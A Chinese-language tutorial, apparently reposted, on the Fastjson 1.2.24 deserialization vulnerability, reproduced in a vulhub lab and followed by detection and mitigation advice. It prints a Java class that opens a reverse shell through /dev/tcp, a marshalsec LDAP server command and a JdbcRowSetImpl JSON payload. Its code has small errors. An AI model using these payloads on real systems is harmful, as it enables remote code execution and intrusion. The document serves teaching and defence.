Fastjson反序列化漏洞原理与复现

这篇具有很好参考价值的文章主要介绍了Fastjson反序列化漏洞原理与复现。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

1 漏洞介绍

1.1 Fastjson简介

Fastjson是java的一个库,可以将Java对象转化为json格式的字符串,也可以将json格式的字符串转化为Java对象。

Fastjson提供了toJSONString()parseObject()方法来将Java对象与JSON相互转换。调用toJSONString()方法即可将对象转换成 JSON 字符串,parseObject()方法则反过来将JSON字符串转换成对象。

1.2 漏洞原理

在反序列化的时候,会进入parseField()方法,进入该方法后,就会调用setValue(object, value)方法,在这里,会执行构造的恶意代码,最后造成代码执行。

首先需要指定一个恶意类,以让Java程序获取后进行反序列化操作。然后将需要执行的代码提供给程序,这里可使用LDAP或RMI协议。 然后反序列化的时候会去请求LDAP/RMI服务器,与Log4j漏洞利用类似,加载这个恶意类文件从而引发代码执行漏洞。

2 复现流程

fastjson版本<1.2.24 <1.2.27

序列化时会调用成员变量的get方法,私有成员变量不会被序列化。

反序列化时,会调用成员变量的set方法,public修饰的成员全部自动赋值。

2.1 环境搭建

vulhub靶场

#1 下载靶场
git clone https://github.com/vulhub/vulhub.git
cd vulhub/fastjson/1.2.24-rce
#2 编译,运行
docker-compose build
docker-compose up -d
#3 查看IP和端口
docker-compose ps
docker ps
#4 关闭靶场
docker-compose down

这里进入vulhub目录太慢了,而且路径也容易记错。可以篡改系统命令,添加命令别名。

vim ~/.bashrc
#在合适的位置添加如下语句
alias vulhub='cd /var/local/soft/vulhub;ls'
#保存并退出
source ~/.bashrc

靶机:centos 192.168.131.121

监听主机:Kali 192.168.131.134:9999

其他环境与Log4j相同——http://t.csdn.cn/l1xmR

2.2 测试

LDAP服务器中,执行如下代码

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.101.128:2222/#GetShell 1234

其中getshell是恶意类的类名,1234是监听的端口号,该工具可以启动JNDI或RMI接口。

当命令行显示Listening on 0.0.0.0:1234时表示服务开启成功。

构建一个恶意类GetShell.class

/*
 * getshell.java
 * 将其编译后生成Exploit.class
 * 上传到HTTP服务器
 */
public class GetShell{
    public GetShell(){
        Runtime.getRuntime.exec("bash -i >&/dev/tcp/192.168.101.134/9999 0>&1");//监听主机的IP和端口号
    }
    public static void main(Sring[] args){
        GetShell e = new GetShell();
    }
}
//直接使用静态代码块亦可

监听主机Kali开启监听:

nc -lvp 9999      # 9999是监听反弹shell的端口

这时,可以向靶场环境以POST的方式发送数据(payload)如下

POST /HTTP/1.1
Host:xxxxxxxx
...
Content-Type:application/json
Content-Length:146
{
	"x":{
		"@type":"com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName":"ldap://192.168.101.133:1234/GetShell",
		"autoCommit":true
	}
}

反弹shell成功即可。

2.3 过程分析

用到的反序列化方法

//返回实际类型的对象
Object returnObj = JSON.parseObject(serializedStr,returnObject.class);
//返回JsonObject对象
Object obj = JSON.parse(serializedStr);
//子类中包含接口或抽象类时,类型丢失
{"@type":"com.xxx.User","age":2,"flag":false,"name":"zhangsan"}

利用类

com.sun.rowset.JdbcRowSetImpl

使用时会引入一个dataSourceName支持传入一个rmi数据源,可以实现JNDI、LDAP端口注入攻击。

流程

序列化字符:准备类名、dataSourceName属性和autoCommit属性;

JdbcRowSetImpl反序列化,调用JdbcRowSetImpl的setAutoCommit(),setAutoCommit()调用connect();

connect()调用lookup()链接到LDAP/RMI服务器,下载恶意代码到本地,执行攻击。

3 漏洞防御

3.1 排查方法

  1. 找到发送JSON序列化数据的接口

  2. 抓包判断是否使用fastjson

  3. 传入不完整或错误的json数据,{“xx”:"查看返回的数据是否暴露

  4. 使用dnslog ceye检测

    package src;
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.JSONObject;
    public class FastTest {
        public static void main(String[] args) {
            String json1="{\"zeo\":
    {\"@type\":\"java.net.Inet4Address\",\"val\":\"aaa.fooe50.ceye.io\"}}";
            JSONObject jsonObject= JSON.parseObject(json1);
       }
    }
    

    fastjson1.2.67以后的版本

    {"@type":"java.net.Inet4Address","val":"dnslog"}
    {"@type":"java.net.Inet6Address","val":"dnslog"}
    畸形:
    {"@type":"java.net.InetSocketAddress"{"address":,"val":"这⾥是dnslog"}}
    
  5. 使用Burp插件文章来源地址https://www.toymoban.com/news/detail-651903.html

3.2 漏洞修复

  1. 升级JDK
  2. 升级Fastjson到最新版
  3. 使用安全产品过滤
  4. 更换其他序列化工具Jackson/Gson

到了这里,关于Fastjson反序列化漏洞原理与复现的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 渗透测试-Fastjson反序列化漏洞getshell

    目录 前言 测试环境准备 dnslog测试 搭建rmi服务器准备恶意类 引用JdbcRowSetImpl攻击 反弹shell$命令执行 总结 :fastjson 1.2.24反序列化导致任意命令执行漏洞 注:本次渗透测试全在虚拟机中进行仅用于学习交流,请勿在实际网络中攻击他人服务器。 前言         最原始

    2024年02月07日
    浏览(57)
  • 【java安全】FastJson反序列化漏洞浅析

    0x00.前言 前面我们学习了RMI和JNDI知识,接下来我们就可以来了解一下FastJson反序列化了 0x01.FastJson概述 FastJson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,支持 将JavaBean序列化为JSON字符串,也可以将JSON字符串反序列化到JavaBean 0x02.FastJson使用 首先我们需要使用

    2024年02月11日
    浏览(48)
  • fastjson 1.2.24 反序列化漏洞(审计分析)

    环境 JDK 8u181 Fastjson 1.2.24 POC 跟进 parse 方法 跟进到底层deserialze 方法 Poc 中传入的 dataSourceName : ldap://192.168.3.229:8084/vnSYPYwMs 值 这里实际对应 setDataSourceName 方法,调用此方法并传入 ldap 跟进 setDataSourceName 方法,这里只是简单赋值   步出回此方法 继续步出,进入parseRest方法 跟进

    2023年04月14日
    浏览(41)
  • Fastjson反序列化漏洞(1.2.24 RCE)

    目录 (一)Fastjson介绍 1、认识Fastjson 1.1 序列化 1.2  反序列化 1.3 @type 自省 Autotype (二)漏洞原理 1、比较常用的攻击类 1.1  com.sun.rowset.JdbcRowSetImpl 1.2 com.sun.org.apache.xalan.internal.xsltc.trax. TemplatesImp (三)1.2.24 RCE复现 1、vulnhub启动 注意:Linux配置JRE版本 2、攻击机监听(

    2024年02月07日
    浏览(46)
  • fastJson反序列化漏洞和log4j漏洞

    有 attach.class (编译好的文件) 攻击者建立rmi服务端,于rmi服务端建造一系列攻击对象 ,假设远程地址为 http://abc,可url链接到恶意class-attach.class 若被攻击者访问到此服务 rmi://abc/attach.class ,静态代码块会优先加载,无需构造对象。 fastJson通过序列化漏洞 fastJson=1.2.47 (高版本添

    2024年02月16日
    浏览(55)
  • Web攻防--JNDI注入--Log4j漏洞--Fastjson反序列化漏洞

    什么是JNDI JNDI全称为 Java Naming and Directory Interface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源。 JNDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。 简单从安全角度

    2024年02月09日
    浏览(45)
  • FastJson反序列化分析

    前言:网上关于FastJson的分析文章一大片,本文只是笔者在实践操作中理解的一些东西,不算特别详细,留作日后复习,欢迎一起交流 什么是FastJson? Fastjson是一个由阿里巴巴维护的一个json库。它采用一种“假定有序快速匹配”的算法,是号称Java中最快的json库。 先来看看一

    2024年02月06日
    浏览(42)
  • 关于fastjson序列化失败的问题

    com.alibaba.fastjson2.JSONArray cannot be cast to com.alibaba.fastjson2.JSONArray 我们使用若依的架子把common抽离出来一个jar包,导致从redis中序列化出错 这是由于springboot-devtools 使用restartClassLoader加载了JSONArray 而上层controller中的JSONArray依然是AppClassLoader,两个不同的类加载器加载的JSONArray没法

    2024年02月13日
    浏览(39)
  • Java反序列化—Fastjson基础

    最近摆烂了很久,来学习一下fastjson Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换。 提供两个主要接口来分别实现序列化和反序列化操作。 JSON.toJSONString 将 Java 对象转换为 json 对象,序列化的过程。 JSON.parseObject/JSON.pars

    2024年02月02日
    浏览(50)
  • FastJson序列化导致的 “$ref“

    前言: 刚转后端没多久,在通过 RPC 调用其他组的服务的时候,其他组对接的同学说,你的入参是有问题的,然后他把入参发我,类似于下面的 json : 这个对象包含一个 addressMO 和 brotherMO 以及 name 和 age , brotherMO 中也包含了 addressMO ,就会导致 出现上面的 \\\"$ref\\\": \\\"$.addressMO

    2024年02月02日
    浏览(34)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包